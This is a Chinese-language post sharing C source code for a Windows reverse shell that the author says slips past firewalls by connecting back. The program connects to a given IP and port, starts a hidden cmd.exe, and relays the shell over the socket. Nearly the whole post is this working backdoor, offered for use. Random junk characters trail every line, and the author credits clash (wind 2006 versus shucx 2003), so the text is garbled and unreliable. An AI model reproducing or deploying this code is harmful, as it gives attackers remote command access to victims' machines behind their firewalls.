这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /2q%'"x(
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/* ============================== S]m[$)U%@
Rebound port in Windows NT ~Ua0pS?
By wind,2006/7 gy.;
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===============================*/ 7Jk.U=vY
#include {`> x"Y5
#include _6(=0::x
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#pragma comment(lib,"wsock32.lib") xuF_^
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void OutputShell(); "mA/:8` Q
SOCKET sClient; _QY "#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +W`~bX+
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void main(int argc,char **argv) )uP= o
{ b3H;Ea?^^<
WSADATA stWsaData; DS
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int nRet; \b->AXe8
SOCKADDR_IN stSaiClient,stSaiServer; Y/gCtSF
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if(argc != 3) B!0[LlF+
{ y\x<!_&D
printf("Useage:\n\rRebound DestIP DestPort\n"); Cpl)byb
return; q I}Zg)q]
} -_+0[Nb.
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WSAStartup(MAKEWORD(2,2),&stWsaData); tp"\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sk-Ti\
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stSaiClient.sin_family = AF_INET; BKk*<WMD
stSaiClient.sin_port = htons(0); tq[C"| dH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #@G2n@Hj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iVRz
{ cP,jC(<N
printf("Bind Socket Failed!\n"); 9 +6"<r!
return; H;8(y4;
} Qk=
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stSaiServer.sin_family = AF_INET; iBQf tq7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O1A*-G:X
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i~4Kek6,I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s*;~CH-[
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printf("Connect Error!"); U4gZW]F
return; `#hy'S:e
} 2mRso.Ah
OutputShell(); B(~D*H2T[
} 9I9)5`d|Jn
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void OutputShell() \hz)oC
{ U1Oq"Ij~
char szBuff[1024]; |kn}iA@72p
SECURITY_ATTRIBUTES stSecurityAttributes; @0G}Q
OSVERSIONINFO stOsversionInfo; O3Uu{'=0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1{*x+GC^/
STARTUPINFO stStartupInfo; _Uq'eZol
char *szShell; R9HRbVBJf
PROCESS_INFORMATION stProcessInformation; "3K0 wR5
unsigned long lBytesRead; <"-sN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *m7e>]-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ; -3M
stSecurityAttributes.lpSecurityDescriptor = 0; W $y?~2
stSecurityAttributes.bInheritHandle = TRUE; "H({kmR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2b<0g@~X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z}5XLa^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9X-DR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eK`tFs,u
stStartupInfo.wShowWindow = SW_HIDE; g$+3IVq&
stStartupInfo.hStdInput = hReadPipe; KP
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,PB?pp8C}
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GetVersionEx(&stOsversionInfo); 4#o` -vcW
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switch(stOsversionInfo.dwPlatformId) ?lTQjw{
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case 1: a P`;Nr=
szShell = "command.com"; !U91
break; OSBE5
default: hk~s1"
szShell = "cmd.exe"; {*: C$"L
break; )TxhJB5|
} V{8mx70
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >uVG]
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send(sClient,szMsg,77,0); __a9}m4i7x
while(1) 7':|f "
{ aW"BN 5eM>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F/&&VSv>LO
if(lBytesRead) I?1^\s#L
{ y==x
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z$q}y
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send(sClient,szBuff,lBytesRead,0); Mqna0"IYx*
} 'rSM6j
else {P*RA'H3G
{ u+ -}|
lBytesRead=recv(sClient,szBuff,1024,0); a+Z/=YUR
if(lBytesRead<=0) break; Y,+$vj:y8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CzwnmSv{.
} H7uW|'XWz
} uG/Zpi
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return; Ts.61Rx
}